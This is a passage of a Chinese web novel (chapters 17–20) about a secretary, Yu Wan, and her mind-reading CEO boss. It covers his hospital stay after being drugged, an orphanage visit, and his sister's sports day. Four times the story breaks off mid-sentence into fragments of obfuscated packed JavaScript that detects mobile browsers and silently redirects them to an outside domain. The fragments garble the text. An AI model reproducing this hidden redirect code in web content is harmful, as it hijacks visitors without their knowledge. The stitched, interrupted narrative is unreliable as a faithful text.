傅知尧闲暇时经常上门去吃聚德楼的早茶,虞晚知道他的偏好,又担心打包外带会损失其他早点的口感,外加老板身体不适,虞晚只买了一份粥。
傅知尧动作一顿,注意到她手里拎着的粥,原本要说的话卡在喉咙,傅知尧问她:“吃早饭了吗?”
“吃了。”
“昨晚怎么回去的?”
“蔡秘书到了医院后,让武叔送我回去的。”
虞晚一边回答一边震惊,这算是老板对她的关心吧,怎么一夜过去,老板就突然像个人了呢。
变得更有人情味了。
“嗯,放着吧,我喝点水再吃。”
傅知尧其实早就饿了,昨晚宴会上他根本没吃饱,不等他回家加餐进了医院,一大早就被饿醒,原本想忍着饥饿继续睡觉,但护士六点不到就敲门进来给他抽血化验,一番折腾下来,让他彻底没了睡意。
只是医院饭菜不符合他胃口,原本他打算让周瞿洋上班时带一份,不过现在看来,完全不需要。
小秘书工作还是到位的。
得到大魔王指令,虞晚当即将床边的移动桌板拉起来,在傅知尧躺上床后调整床位高度,确认高度合适后往傅知尧身后塞了个枕头做支撑。
傅知尧靠在枕头上,看虞晚忙忙碌碌拆开保温袋,将打包盒拿出来,打开盖子,摆好调羹、筷子,一旁放上熟悉的薄荷漱口水和消毒纸巾。
做完这一切,小秘书又贴心倒来热水。
傅知尧将手背贴到杯子上,温热的,他挑了下眉,拿起水杯喝了几口,这才开始吃粥。
虞晚站在一旁看傅知尧吃粥,思绪一时飘得有些远。
刚来医院的路上,她借着地铁里的免费wifi刷了会儿手机,自然看到了热搜上有关老板的新闻。
娱乐新闻号口吻夸张,说什么傅氏集团总裁被人下药,送往医院时不省人事,疑似商场树敌太多。
好在虞晚给傅知尧戴了帽子和口罩,并且是让老武扶着傅知尧上的车。
因此,那些狗仔拍摄到的照片里看不清傅知尧的正脸,不过糟糕的是,那些狗仔将她给拍了进去。
以至于评论下有不少人揣摩她的身份:傅总身边不干正事的女秘书、和傅总缠绵悱恻的地下情人、更有甚者说她是傅总那个被捧在手心里长大的亲妹妹。
虞晚:“……”
她能有什么身份?她还想要有什么身份?
她不过是在老板住院后还要来看望老板的,努力想要留在总裁办的,平平无奇的,打工人罢了。
聚德楼的青菜瑶柱粥花了她整整一百零八块大洋!
她吃过最贵的粥不过才十二块!
如果这就是来看望老板的代价,虞晚想,她得接受,毕竟,老板前几天给她购置了那么多的衣服,还请她吃了一碗牛肉面。
于情于理,她也不能太抠。
让老板报销粥的想法还是想想就好。
低头看了眼手机上的时间,八点零六分,这个点大爷大妈们已经吃完早餐在公园散步,她要过去逛逛,看能不能碰碰运气,找到合适的房子,房东直租,肯定能省下来一些钱。
正准备同老板告退,就听到老板问她:“你刚刚一直在看我,你在想什么?”
虞晚眼神一顿:“……”
这可以说吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596816|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>傅知尧漫不经心撩眼看她,一双眸子漆黑,眼型狭长深邃,眼尾上扬,透着明晃晃的威胁,像是在无声警告她,撒谎他能看出来。
虞晚沉默半晌,引颈受戮般开口:“……老板,这份粥108块,能报销吗?”
傅知尧:“……”
傅知尧彻底打消了虞晚是个商业间谍的怀疑,也彻底打消了虞晚能听懂他心声的怀疑。
一个傻子,一个在得知自己入职总裁办就傻愣愣问他工资,一个浑身上下穿着价格不超过300元,一个愚蠢又真诚问出108块粥能不能报销的人,只可能是个穷光蛋。
意识到自己说得过于直白,虞晚赶在傅知尧嘲讽自己前急忙解释,“老板我不是这个意思,我没打算问您要报销费用,粥是我自愿带来的,您上周请我吃牛肉面,还报销了额高额的服装购置费,这已经能买好多份粥了,我要是再问您要粥的钱,就真的是白眼狼了……”
虞晚声音越说越低,在傅知尧射来的锐利视线中把剩余的话说完:“您毕竟昨晚被下药,我有些担心您,就过来看看您……粥是我的心意,您觉得还合乎您口味吗?”
傅知尧:“……”
瞥一眼心虚惊惶的虞晚,傅知尧低头喝了一口粥。
粥还是温热烫口的,大米炖煮得香糯软烂,蔬菜的清甜和虾肉的弹滑交织,一口粥入肚,抚慰他空寂一整晚的饥饿。
能在周末休息的时候还挂记着他,排长队买粥过来看望他,这份心意已经足够了。
算了,原谅小秘书没头没脑的话。
他难得没回怼,慢悠悠说了句:“虞秘书,我可是个病人。”
虞晚:“……”
“对不起老板,”虞晚光速道歉,在老板皱起眉的下一瞬开口,转移话题:“老板,护士那边说您今天就能出院,需要我留下来陪您吗?”
傅知尧眉头皱得更深。
当他三岁小孩需要人陪?
“不需要。”
直截了当的拒绝。
“好的。”
毫不犹豫的应答。
虞晚知道老板不需要,她关心老板完全是因为这在她的秘书职责范围内,老板是她的顶头上司,不管是出于什么目的,她都要来看看。
一个好的秘书,既要做到对工作认真负责,理性处理问题,也要和老板、同事打好交道,构建良好的人际关系网,让老板信任她,认可她,这样才能将重要任务交给她。
虽然这些话都文绉绉的,但要落实可不容易,虞晚始终牢记在脑子里。
知道老板不需要她陪,在提出告辞前,虞晚简要汇报了昨晚发生的事情和今日的热搜,让老板心里有个大概的了解。
“……因为戴了口罩和帽子,狗仔们没有拍摄到老板您的正脸,此外,大部分网友都觉得老板您是遭受了无妄之灾,谴责下药者的更多。而有关庆典的事情可能要蔡秘书来和您汇报,我知道的并不全面。”
说完,虞晚安静等待老板的回复。
傅知尧放下手中的调羹,表情淡到有些冷,恢复了一如既往的大魔王形象。
“两个问题,第一,你为什么会出现在六楼?第二,你怎么知道给我下药的人将药下到了我的酒杯里。”
18. 第 18 章
虞晚心头一惊。
前一个问题好回答,后一个问题她该怎么说?
八卦新闻里难道没有写药是被下在红酒里的吗?
虞晚皱起眉头仔细回想,一时没来得及回答傅知尧的问题。
傅知尧不耐烦敲了敲桌板,眸光寒厉如冰:“虞晚,说实话。”
虞晚不敢说实话。
她难道要说自己是因为看过小说剧情梗概才知道的吗?说出来傅知尧不得把她当疯子?可董总监和林秘书都反复强调过不要在老板面前撒谎。
半晌,虞晚开口:“宴会厅上我的裙子被人泼了红酒,因为不想和那位人碰上,所以我去了上一层楼的洗手间,这才遇上您,至于下药的红酒,我是随便猜的,一般粉末类药物都是溶于水,放到食物里您未必会吃。”
傅知尧视线仍旧停在虞晚身上,虞晚微垂着视线,没有看他。
她心里有些虚,但仔细想想,她分明也是受害者,没有问老板要工伤补贴和加班费就不错了,下药的事情又不是她做的,她何必心虚。
于是鼓足勇气抬起头和傅知尧对视。
傅知尧措不及防和虞晚视线对上,看清了虞晚的表情。
虞晚的眼睛很独特,双眼皮褶皱清晰,眼型偏圆润,眼尾下收,睫毛浓密细长,眼珠漆黑亮泽,转动时透着点不易察觉的小狡黠,不动的时候又有些呆。
此刻,直勾勾盯着他看的时候显得尤其无辜,让傅知尧一时不知道说她什么好。
其实早在虞晚来之前,傅知尧就查看过蔡秘书发来的酒店监控,自然知道虞晚不是故意上楼和他偶遇,之所以这样问,不过是为了诈一诈虞晚。
诈一诈虞晚会不会对他有所隐瞒,估一估让虞晚留在总裁办的决定到底对不对。
虞晚忐忑盯着傅知尧表情,不知是不是她的错觉,傅知尧的面部表情似乎在某个一瞬间柔和下来。
傅知尧垂眸,搅了搅碗里的热粥,如长辈般话起家常:“今天周六,虞秘书待会儿准备做什么?”
虞秘书:“……”
直到从病房离开,虞晚还是想不明白傅知尧态度转变的原因,简直像变色龙,让她摸不清头脑,不过想想大老板的个性,又觉得正常。
刚走没几步,虞晚在走廊上撞见昨晚给傅知尧打镇定药剂的医生周瞿洋,男人穿着一身白大褂,长相俊朗,气质温文尔雅。
武叔昨晚提过,说周医生是傅总的好朋友,但光看外表和气质,两人一个像残暴大灰狼,一个像优雅白天鹅。
“周医生好。”虞晚同他打招呼。
周瞿洋或许有些社恐,不怎么和她说话,就连眼神对视都少,他点点头,“你好,我来看傅知尧。”
“好,麻烦周医生了。”虞晚礼貌侧身。
周瞿洋点头,没多说什么,推开病房门走进去。
傅知尧已经将粥吃了大半,周瞿洋看了眼放在一旁桌子上的打包盒,是傅知尧喜欢的那家茶楼,顺手拿起桌上的小票,点的是瑶柱青菜粥,不在傅知尧的忌口范围。
周瞿洋给傅知尧量过体温,确认正常,又问傅知尧:“今天有没有不舒服?”
傅知尧吃着粥,懒懒回答他:“还行,就是醒来的时候有些晕。”
“嗯,药物成分比较复杂,新陈代谢再强也会感觉不舒服,今早六点护士来抽过血,等结果出来,如果没问题就可以出院了。”
周瞿洋知道傅知尧是个工作狂,并不拦他,作为医生,只要病人身体无恙就好。
傅知尧:“行,多谢了。”
周瞿洋:“不客气,难得有我能帮上忙的时候。”
比起傅知尧为他家做的,他做的其实并不多。
傅知尧朝他挑眉露出一个笑。
他和周瞿洋算得上密友,属于那种不需要靠时时刻刻的联系证明情谊,有空就出来聚餐,有需要就竭力帮忙,自在舒适的友情。
因为从小拥有读心术,傅知尧早早就看穿那些表面谄媚着接近他,实际上别有用心的人,对交朋友一事总是抱有抵抗意味,以至于傅知尧身边没有一个朋友,而周瞿洋是他第一个接触到的,坦诚得过分的家伙。
两人自大学认识,到如今已有十年之久。
傅知尧在此刻听到周瞿洋的心声。
-【方才那位虞小姐是知尧的秘书,但知尧从不用女性秘书,有些好奇。】
不出意料,下一秒周瞿洋开口问:“知尧,你从没选过女性当秘书,那位虞小姐有什么特别的吗?”
傅知尧难得犹豫了两秒。
虞晚有什么特别的?道歉速度快?人傻?力气大?
傅知尧这么想的,也是这么说的。
周瞿洋沉默两秒:“……你,确定是在夸对方?”
傅知尧耸肩,表情淡然:“你知道的,有时候我身边就需要一些傻瓜。”
太聪明的人容易自以为是,会作茧自缚,目中无人,太自卑的人过于自我,做事畏畏缩缩,犹豫不决。
虞晚在两类人中间,做错事不反驳,认真道歉反思,道歉后负能量全部甩到一边,活力满满继续工作,让她看策划案说修改意见,不推脱说自己没本事,对自己定位清晰,不逾矩,不多问,知进退,除了偶尔脑子不太灵敏,还算不错。
最重要的是……
傅知尧使唤起虞晚来自在又顺手,完全没有一种高材生被错用成跑堂小伙计的歉疚感。
不知是不是周瞿洋的错觉,他居然从傅知尧的表情里看出一点点称得上是恶趣味的愉悦情绪。
-【也是,知尧从不提及另一位女性,虞小姐能入他的眼,绝对不可能是他所说的人傻,我要是相信了,傻的就是我。】
傅知尧:“……”
怎么一个两个都觉得他选虞晚当秘书是因为虞晚能力不错,他看上去像是眼光那么差的人?
周瞿洋转而问起其他的问题:“昨晚的事,查到是谁给你下的药吗?”
傅知尧“嗯”了一声。
“抓到了给我递酒的人,不过他否认下药一事,蔡杨已经将对方送去警局了,关上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601844|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几天,看能不能供出幕后主使。”
说到这里,虞晚昨天做得确实不错,知道打电话给老武求助,带着他安静低调从停车场离开,被媒体拍到照片这事情有可原,毕竟给他下药的人早就做好了万全对策,蹲守在停车场的媒体时刻准备拍照,虞晚即便有三头六臂也不可能阻挡无孔不入的摄像头。
至于酒店监控,蔡秘书在得到消息的第一刻就迅速将当晚监控拷贝留存,云端记录删除,因此,那些媒体没一个拿到庆典有关的酒店监控,杜绝后续不必要的波澜。
除了被下药的事情闹上热搜让他有些芥蒂,但总体情况不算坏,公关部那边也没有一味撤热搜,澄清前因后果,将言论引向有利于他的那一面,给傅氏公司攒了一波好感,有助于公司形象塑造。
至于评论里嚷嚷着让他注册一个社交账号的言论,傅知尧当然是忽略。
听完傅知尧的话,周瞿洋沉思片刻,说出心里的猜测:“有没有可能是陆宗信,照理说,宴会举办期间,停车场不会有什么媒体,就算有媒体拍照,也不会神通广大到立刻发现你是傅知尧,并且写好下药的新闻稿,除非有人提前打点过。”
陆宗信是屿风集团的董事长。
商场上,合作和竞争是常态,傅氏发展历程中自然也少不了树敌,若要问谁最盼望傅氏倒台,那无疑就是屿风集团的陆宗信。
两家集团的渊源可以追溯到傅知尧父母还在的时候。
屿风集团是做矿产起家的,后期加入房地产行业,同傅氏在房地产版块上打起擂台,但傅知尧父母早早看出房产发展的虚假繁荣,没有留恋高额利益果断转型,而屿风集团来不及收手,硬生生亏损三百多亿,公司一度难以为继。
在同傅氏借钱周转未果,买凶杀人,让傅知尧父母死在六年前的那场‘意外’车祸里。
父母葬礼上,拥有读心术的他,听清陆宗信的心声,知道是他买凶杀人,可他没有实质性证据,除了痛苦发泄,什么都做不了。
这些年,他一边经营傅氏一边私下收集证据,有朝一日,他一定会让陆宗信这个凶手付出应有的代价,不管是集团抑或是生命。
听到周瞿洋说的话,傅知尧目光冷了下来,再次点开蔡秘书发来的监控录像,拖动进度条,在密集的人群中搜寻。
果不其然,在视频里发现了一道熟悉的身影。
对方正是屿风集团的副总裁陆决风,也是陆宗信收养的儿子。
至于屿风集团的总裁,则是陆宗信那个不学无术的亲儿子陆屿森。
但陆决风并没有进入宴会厅,他侧身与一位穿着白裙子的女□□流,停留不到两分钟就离开了酒店。
傅知尧对陆决风个性还算了解,即便不喜欢他,也知道他不太可能做这种龌龊事,那么只剩下一个人。
陆宗信的亲儿子,陆屿森。
而同陆决风在交流的那位白裙子女性,和虞晚在六楼对话的那位女性很像,不,傅知尧几乎可以确定就是一个人。
他看着监控视频,眸光逐渐凛然。
19. 第 19 章
从医院离开,虞晚去距离公司半小时地铁的老小区公园逛了逛,但很可惜,一连问了几位老人家里都不做租房生意。
好在公园风景不赖,阳光下,绿草如茵,空气清新,虞晚心头失落得到安慰,拍了不少幽绿漂亮的照片。
正打算从公园离开,收到林妈妈发来的消息。
林妈妈:【虞晚,你今天有没有时间呀,孩子们知道上回去买零食是你出的钱,想邀请你来吃午餐,今天中午我们打算包饺子,要不要过来和孩子们一起包?】
虞晚想起孤儿院孩子们的拘谨天真的脸蛋,索性她现在没事,答应了林妈妈。
照旧乘坐608公交,路上,虞晚买了两箱牛奶。
进了孤儿院,林妈妈看到她手里拎着的东西,责怪她乱花钱,虞晚不好意思笑笑,“牛奶也不贵。”
林妈妈慈爱地拍拍她的手:“我替孩子们谢谢你,你这样好,孩子们会记住的。”
虞晚微笑着没有回答。
她给孩子们买牛奶也不是为了让孩子们记住她。
为避免发生意外威胁孩子们生命安全,心爱孤儿院的厨房离学习区和住宿区较远。
虞晚被林妈妈领着进入厨房,一间宽敞干净的房间,正中央摆着一张长长的不锈钢桌子,是林妈妈特意购入的,方便孩子们跟着一起学做菜,教会孩子们生存的本领,以后离开孤儿院不至于饿死。
虞晚进去的时候,面团已经和好,几个大点的孩子正围坐在桌边熟练地切剂子、擀剂子,切好的圆形剂子用掌心按压,在擀面杖的碾动下,片刻就变成一张薄薄的饺子皮,沾上干面粉扔到一旁,摞成小山丘。
一只修长漂亮的手将饺子皮拿起来,包入菜馅儿,宽大的手掌托着,熟练地捏出漂亮的褶边。
虞晚这才注意到这双漂亮手的主人。
一位长相出众的年轻男人,看上去并不比她大多少岁,眉骨深邃,鼻梁高挺,他认真包着饺子,眉目情绪干净温和,像是被风吹过的绿枝,让虞晚联想起今天在公园看到的垂柳。
林妈妈见她看入迷,笑着打趣她:“怎么了?看他那么久,有没有记起他是谁呀?”
虞晚有些懵。
她认识这位男人吗?
什么叫记起他是谁?
年轻男人恰好在此时抬头看来,两人视线在半空短暂相交。
他笑了一下,放下手中的饺子,站起来,喊了林妈妈一声,随后视线落在她身上,精准无比叫出她的名字。
声音低沉悦耳,像是在她心上落了一根羽毛。
“虞晚,好久不见。”
虞晚迟迟没动,被林妈妈推了一下才回神,同年轻男人打招呼:“你好。”
林妈妈笑着摇头,“不懂你们年轻人,明明小时候那么要好,怎么长大了反而拘谨了呢。”
年轻男人解释:“林妈妈,我和虞晚已经许多年没见,她对我生疏很正常。”
说着,男人同虞晚自我介绍:“陆随,我叫陆随,现在记起我了吗?”
虞晚仍旧是一头雾水。
林妈妈想到什么,点头附和,“对,陆随这个名字你应该更熟悉。”
男人视线还落在她身上,眼眸中的情绪有些复杂,虞晚读不懂那种过于沉重的情绪,在脑海中仔细思索,发现她对这位叫陆随的男人知之甚少,半点记忆碎片都没有。
这太奇怪了。
原主的舍友们、孤儿院林妈妈,她脑子里都有和这些人的相处记忆,为何只有陆随没有。
好在对方没有为难她,主动转移话题,“虞晚,你坐我旁边吧,面团和饺子馅已经准备好,帮忙包饺子就行。”
虞晚点头,“好,我先去洗手。”
孤儿院孩子年纪多集中在七到十岁,年纪再小点的孩子很容易被领养走,大多数无法生育的夫妻领养孩子时担心孩子年纪太大,就算领养回去也不会和他们亲近,所以心爱孤儿院少有三四岁的孩子,除了像林衡那样先天性残疾,孩子们一般会在孤儿院待到成年,再由政府相关部门安排去其他福利机构谋一份工作,多赚钱不至于,填饱肚子活下去而已。
虞晚坐下来时,陆随正在教一个女孩包饺子,声音温柔,“没关系,馅少一点也可以,太多包不起来,煮得时候很容易破,先捏正中间,固定一个点,再捏两端,嗯,慢慢来,不着急。”
虞晚看了没几秒,收回视线,认真包起饺子。
饺子馅一共备了三种,角瓜鸡蛋、韭菜鲜肉以及纯素的包菜馅。
虞晚包得正认真,林衡不知何时挤到她和陆决风中间,抱着和上回一样的黑白色小狗玩偶,睁着一双漂亮的黑眸看她包饺子。
虞晚恶作剧心思飘出来,屈指故意在林衡鼻尖上勾了一下,白色的面粉蹭上去,像只小花猫。
虞晚朝他比划了一个小花猫的手语,林衡捂着鼻子,震惊地看着她,一双眼睁得大大的,比葡萄还要圆润。
虞晚笑出声。
陆随注意到旁边的动静,视线从林衡转到虞晚身上,唇角微微勾起,虞晚颇有种恶作剧被抓包的羞窘。
她赶忙站起身,端起已经放满饺子的托盘,“我先把饺子送去厨房。”
“好。”
陆随低头继续包饺子,嘴角弧度迟迟没有落下,方才跟陆随学包饺子的女孩歪着脑袋看他。
在陆随投来视线时,凑到他耳边问:“哥哥,你是不是喜欢虞晚姐姐。”
陆随唇角弧度再次上扬,片刻,落回原处,他竖起一根手指放在唇前,“保密。”
虞晚端着托盘走进厨房,林妈妈和厨师田阿姨正在烧热水。
林妈妈让虞晚将托盘放到灶台边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608927|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚好看到虞晚抬起来的手臂,随口问了一句:“虞晚,你手肘上那个烫伤的疤痕现在还没消啊?”
虞晚僵在原地。
她缓缓转过脸看林妈妈:“您怎么知道我手肘上有烫伤的疤痕?”
林妈妈没注意到虞晚的脸色,一边忙碌一边说:“你忘记了啊,那是你第一次和田阿姨学做菜的时候被热锅边缘烫伤的呀。”
虞晚忽然有些分不清现实和小说,如果原主和她一样有着烫伤的疤痕,那她现在的身体到底是原主还是她?
如果是原主,怎么会有身体重合度如此高的另一个人存在。
如果是她,怎么解释手肘上一样的烫伤疤痕。
一顿饭吃得虞晚心不在焉,离开的时候,陆随提出顺路送她回学校,虞晚原本要拒绝,但在林妈妈炙热的眼神中最终答应。
陆随开的是一辆雷克萨斯的SUV,车子底盘高,虞晚刚将后座车门拉开,就听到陆随的声音。
“虞晚,你是在把我当司机吗?”
陆随并没有为难的意思,声音里夹杂着淡淡的调侃意味,熟络异常。
虞晚有些尴尬:“不好意思。”
关上后车门,坐到副驾驶,系好安全带。
虞晚动作有些拘谨,主要是她对陆随并不熟悉,虽然从林妈妈的口述中,她和这位叫陆随的男人小时候在孤儿院玩得不错。
不过,陆随在七岁那年被领养走,彼时的她才五岁,之后她就再也没见过陆随,对陆随印象不深情有可原。
车子平稳行驶在路上,虞晚听到陆随开口:“虞晚,你是今年六月份毕业对吗?”
虞晚有些意外,但还是回答了他:“对,五月中旬答辩,六月左右拿毕业证书。”
陆随点头,仿若老朋友一般开口:“那你是不是还没有租好房子?”
虞晚:“嗯,还在找,海市租房价格不低,不容易找到合适的。”
只要在毕业答辩前找到房子搬出去就行,虞晚还有差不多一个月的时间,她打算在五月份搬宿舍,比舍友毛新灵稍微晚半个月。
能省下半个月房租呢。
陆随若有所思,“虞晚,我有个朋友是做房屋中介的,我可以将他的联系方式推给你,你将租房的要求告诉他,可以让他帮你筛选,这样更节省时间。”
虞晚有些意外。
陆随像是怕虞晚觉得他是个骗子,解释道:“我那位朋友有房产中介资格证,就职的公司算得上业内小有名气的,我把他联系方式推给你,合不合适由你自己选择,这样可以吗?”
意识到自己的犹豫和警惕被对方看穿,虞晚不好意思笑了笑,“那就麻烦你了。”
陆随唇角弧度温和,“不客气,其实是我该谢谢你。”
虞晚不解。
谢谢她?为什么要谢谢她?
20. 第 20 章
周一正常上班,比起上周,这周因为临近月末,工作量明显增加,各种投资项目的季度跟进汇报,还有大大小小的例会,分明有些会议虞晚的权限不够,但老板还是带着她参加,并将会议纪要统统丢给她写,虞晚忙得昏头涨脑,眼睛一闭一睁都是在打字
好不容易熬到周五,虞晚早早躺上床,特意没定闹钟,准备一觉睡到自然醒,当作对自己一周辛勤工作的奖励。
床单在今早清洗晒干,鼻尖充盈着阳光的味道,虞晚闭上眼,沉入黑甜的梦乡。
等虞晚再睁开眼,就发现自己坐在高高堆起的金银珠宝山上。
纯金打造的座椅金碧辉煌,亮得晃人眼,虞晚坐在金椅子上,手里抓着大把大把的钞票,恨不得立刻叫来房产中介。
她有这么这么多的钱,可以买房子了,她要买房子!
不要很大,三室一厅就好,两间卧室,一间书房,还要一间厨房,这样就够了。
需要多少钱呢?
虞晚数着手里的钞票盘算,直到怀里被人扔进一摞厚厚的文件,将她砸了个措不及防。
虞晚震惊,她都这么有钱了谁这么过分给她安排工作?
一抬头,对上老板那张冷面罗煞的脸,傅知尧声音冷漠:“这些文件限你下班前处理完,否则我就开除你!”
虞晚瞪大眼。
她生气了,将文件狠狠砸在地上。
她有钱了,她才不干!
彷佛听到她内心的声音,梦境拉长刺耳的红色警报,开始摇摇欲坠起来,虞晚眼睁睁看着面前的金山银山消失,怎么抓都抓不住,心痛到难以附加。
但警铃声并未停止,不依不饶在虞晚耳旁回响。
大魔王冷哼一声,声音彷佛经过山谷回荡,幽深绵长,一如既往的傲慢:“虞秘书,你是逃不出工作的五指山。”
……五指山……指山……山……
虞晚猛地睁开眼,被噩梦惊醒的缘故,心脏扑通扑通跳个不停。
耳边铃声仍旧在响,虞晚扭头,在枕头下摸到吵醒她美梦的万恶之源。
是她的手机。
屏幕上显示来电者:老板
她真的生气了。
明明之前老板都非常有原则地秉持下班时间不给她打电话,有急事就发消息的良好传统。
为什么偏偏在今天,在不过六点半的时刻给她打电话吵醒她。
好在昨天毛新灵跟着领导出差不在宿舍,否则她还要担心电话铃声会不会吵到室友。
她清了清嗓子,坐起身接电话,声音些微沙哑:“老板,您找我有什么事吗?是不是哪个文件出了问题,我现在就可以改。”
电话那边的傅知尧沉默了几秒,似是无可奈何,最终开口说道:“你今天应该有时间吧,我这边有个亲子运动会,需要你参与一下。”
虞晚以为是自己没睡醒听错了,“什么运动会?”
傅知尧破罐子破摔重复:“我妹妹的亲子运动会。”
虞晚:“……”
她真的生气了!
傅知尧大早上打电话吵醒她,就是为了让她去参加他妹妹的亲子运动会,他难道不知道打工人最讨厌的就是在周末的时候收到老板消息吗?更何况还是和她毫无关系的运动会!
但虞晚也只敢在心底骂一骂,她试探开口:“老板,愚人节应该已经过了吧?”
傅知尧给虞晚气笑了,看了眼面前目光如炬某个萝卜头:“你以为我在和你开玩笑?”
要不是周瞿洋昨晚值班熬了个通宵,他是绝对不会给虞晚打电话的。
虞晚硬着头皮:“但是老板,您妹妹的亲子运动会,我去是不是不太好。”
傅知尧啧了一声,懒得和她废话,直截了当:“加班工资三倍。”
不到半秒,傅知尧听到电话那边虞晚格外正经的声音:“老板,我现在就起床,请问我们在哪里碰面?”
傅知尧:“……”
挂掉电话,傅知尧嗤了一声。
财迷。
傅知尧收起手机,看向面前五点半就跑到他公寓里在床上乱跳把他叫醒的萝卜头,挑了下眉:“满意了?”
萝卜头昂起下巴,哼了一声。
“什么叫我满意不满意,分明我一周前就告诉过你学校要举办亲子运动会,你当时还答应我了,是你自己记性不好忘记的,我好心来提醒你,你应该感谢我才对。”
说完,跑去厨房,熟练地告诉做饭阿姨自己要吃些什么。
傅知尧:“……”
另一边,虞晚花了不到二十分钟时间收拾好自己,打车去了老板住的豪宅。
老板催得急,虞晚不敢慢悠悠乘坐地铁,果断选择昂贵点的出行方式。
傅知尧在海市的房产不止一处,最常住的是浣溪沙大平层,典型的江景房,距离虞晚工作的CBD只有不到二十分钟的车程,可谓是豪宅中的豪宅,一梯一户,安保人员全体二十四小时巡视,住进去的人非富即贵。
不过在此之前,虞晚只知道老板住在浣溪沙,并不知道具体的楼栋和层数。
虞晚控制不住小手,搜了搜,不算复式的话,一套四百多平的房子价格超过九位数。
虞晚:“……”
她果断关闭手机,合眼休息。
不到半小时,虞晚抵达目的地,下了出租车,刚到大门,亭内保安就认出她,主动放行。
“虞小姐,傅总打电话和我们说过,您进来后左转,第三栋大楼便是,大厅内前台工作人员会给您电梯卡,刷卡可以直达傅总住的十六层。”
虞晚还以为会发生她在门口解释半天,保安依旧不让她进去的剧情,没想到老板早就安排好了。
她点点头,“好的,谢谢你。”
进入宽敞高挑的楼内,虞晚从面带微笑的前台小姐姐手中接过电梯卡,去电梯前等待。
如果不是知道自己要去老板家,她差点以为这里是什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613863|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奢华的高档酒店,谁能想到一个住宅内除了有保安还会有前台呢。
电梯在十六层稳稳停下,出了电梯,中庭宽敞开阔,摆放着几株长相惹人喜爱的绿植。
虞晚目不斜视,走到门口,抬手敲了三下房门。
片刻,咔嚓一声,门被打开。
虞晚一时没看到人,偏头朝里看去,简单的黑白灰色调,和老板办公室很像,生活气息并不浓烈。
忽然,一道清亮的童声从她脑袋下方传来。
“你叫什么名字?”
虞晚吓一跳,这才注意到面前站着的长发齐刘海小女孩,小女孩仰头看着她,半点也不怕人,一双眼珠明亮圆润,可爱中透露着古灵精怪。
她再次开口:“你叫什么名字?”
虞晚猜测,这位可能就是老板的妹妹。
“你好,我叫虞晚。”
小女孩点点头,表示自己记住了,“你好虞晚,我叫傅许安,许诺的许,平安的安,我今年七岁了。”
虞晚礼尚往来,“虞美人的虞,夜晚的晚,我今年,……过完生日就二十三岁了。”
她煞有介事地伸出小手,虞晚连忙抬手,两人友好地握了握。
傅许安将虞晚请进屋,开始认真询问,虞晚都没来得及问面前的小女孩老板在哪儿。
傅许安绕着虞晚走一圈,皱起小眉头,“我想拿奖杯,但你太瘦了,看起来力气也不大的样子,你能帮我拿到奖杯吗?”
虞晚错愕两秒,认真回答她:“只是看起来而已,我觉得我力气挺大的,你有多重呢?”
傅许安:“体重23千克,身高124厘米。”
虞晚点头,“那我可以将你举起来。”
“真的吗?”
傅许安毫不客气,说话的同时张开双臂,虞晚愣了两秒,蹲下身,双手穿过傅许安胳膊,毫不费力就将傅许安举了起来。
傅许安只觉得自己身子一轻,下一秒整个人就腾空,像一只轻盈的鸟儿,傅许安笑起来,露出米粒般白的牙齿,开心之情溢于言表。
“虞晚!你的力气真的好大呀!”
虞晚被她的笑容感染,不自觉笑了起来。
傅知尧在这时从卧室里走出来,倚在墙壁上,姿态闲散,颇具威慑力地叫出长发小萝莉的名字:“傅许安,你在干什么呢?”
傅许安也不害怕,两条小短腿顺势夹在虞晚腰上,双手抱住虞晚的脖子,整个人如同树懒挂在虞晚身上。
气势汹汹反问傅知尧:“你才是在干什么,我和虞晚姐姐聊天聊得好好的,你在打扰我们!”
傅知尧:“……”
别以为他没听到,刚才这小萝卜头还直呼虞晚大名,现在就叫上虞晚姐姐了,真是个善变的小屁孩。
虞晚被傅许安抱了个措不及防,听到傅许安一句话怼得老板哑口无言,忍不住感慨。
果然一物降一物。
大魔王老板也会面临血脉压制。
